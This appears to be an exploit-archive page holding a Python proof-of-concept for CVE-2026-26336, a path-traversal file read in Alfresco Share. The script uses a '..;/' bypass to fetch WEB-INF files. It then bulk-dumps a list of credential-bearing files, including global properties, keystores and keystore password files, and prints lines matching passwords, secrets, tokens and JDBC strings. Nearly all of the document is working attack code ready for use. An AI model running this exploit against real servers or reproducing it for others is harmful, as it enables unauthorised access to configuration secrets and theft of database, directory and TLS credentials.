5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
import argparse
import urllib3
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

try:
    import requests
except ImportError:
    print("requires: pip install requests")
    sys.exit(1)

BYPASS = "..;/"
BASE_PATH = "/share/page/resource/"

DEFAULT_TARGETS = {
    "WEB-INF/web.xml": "Servlet configuration",
    "WEB-INF/classes/alfresco-global.properties": "Global properties (may contain DB/LDAP/SMTP creds)",
    "WEB-INF/classes/alfresco-encrypted.properties": "Encrypted properties",
    "WEB-INF/classes/alfresco/web-extension/share-config-custom.xml": "Share custom config",
    "WEB-INF/classes/alfresco/share-global.properties": "Share global properties",
    "WEB-INF/classes/alfresco/keystore/ssl.keystore": "SSL keystore (binary)",
    "WEB-INF/classes/alfresco/keystore/ssl.truststore": "SSL truststore (binary)",
    "WEB-INF/classes/alfresco/keystore/ssl-keystore-passwords.properties": "Keystore passwords",
    "WEB-INF/classes/alfresco/keystore/ssl-truststore-passwords.properties": "Truststore passwords",
    "META-INF/MANIFEST.MF": "Build info and version",
}


def read_file(base_url, filepath):
    url = f"{base_url.rstrip('/')}{BASE_PATH}{BYPASS}{filepath}"
    r = requests.get(url, verify=False, timeout=15)
    return r.status_code, r.content


def is_error_page(content):
    return b"HTTP Status 404" in content or b"HTTP Status 500" in content or len(content) == 0


def main():
    parser = argparse.ArgumentParser(description="CVE-2026-26336 — Alfresco Share file read")
    parser.add_argument("-t", "--target", required=True, help="Target URL (e.g. https://ecm.target.com)")
    parser.add_argument("-f", "--file", help="Single file path to read (relative to webapp root)")
    parser.add_argument("--dump", action="store_true", help="Dump all default target files")
    parser.add_argument("-o", "--output", help="Output directory for dumped files")
    args = parser.parse_args()

    base = args.target.rstrip("/")

    if args.file:
        code, body = read_file(base, args.file)
        if code == 200 and not is_error_page(body):
            try:
                print(body.decode("utf-8"))
            except UnicodeDecodeError:
                sys.stdout.buffer.write(body)
        else:
            print(f"Not found or not accessible (HTTP {code})", file=sys.stderr)
            sys.exit(1)
        return

    print(f"Target: {base}")
    print(f"Bypass: {BASE_PATH}{BYPASS}<file>")
    print()

    code, body = read_file(base, "WEB-INF/web.xml")
    if code != 200 or is_error_page(body):
        print("NOT VULNERABLE — web.xml not accessible")
        sys.exit(1)

    print(f"VULNERABLE — web.xml retrieved ({len(body)} bytes)")
    print()

    if not args.dump:
        return

    import os
    outdir = args.output or "output"
    os.makedirs(outdir, exist_ok=True)

    for filepath, desc in DEFAULT_TARGETS.items():
        code, body = read_file(base, filepath)
        if code == 200 and not is_error_page(body):
            safe_name = filepath.replace("/", "_").replace("\\", "_")
            outpath = os.path.join(outdir, safe_name)
            with open(outpath, "wb") as f:
                f.write(body)
            print(f"[+] {filepath} ({len(body)} bytes) -> {outpath}")
            if len(body) < 5000 and desc != "SSL keystore (binary)" and desc != "SSL truststore (binary)":
                try:
                    text = body.decode("utf-8")
                    for line in text.splitlines():
                        low = line.strip().lower()
                        if any(k in low for k in ["pass", "secret", "key=", "cred", "jdbc", "db.", "token", "encrypt"]):
                            print(f"     {line.strip()[:120]}")
                except UnicodeDecodeError:
                    pass
        else:
            print(f"[-] {filepath}")

    print(f"\nFiles saved to {outdir}/")


if __name__ == "__main__":
    main()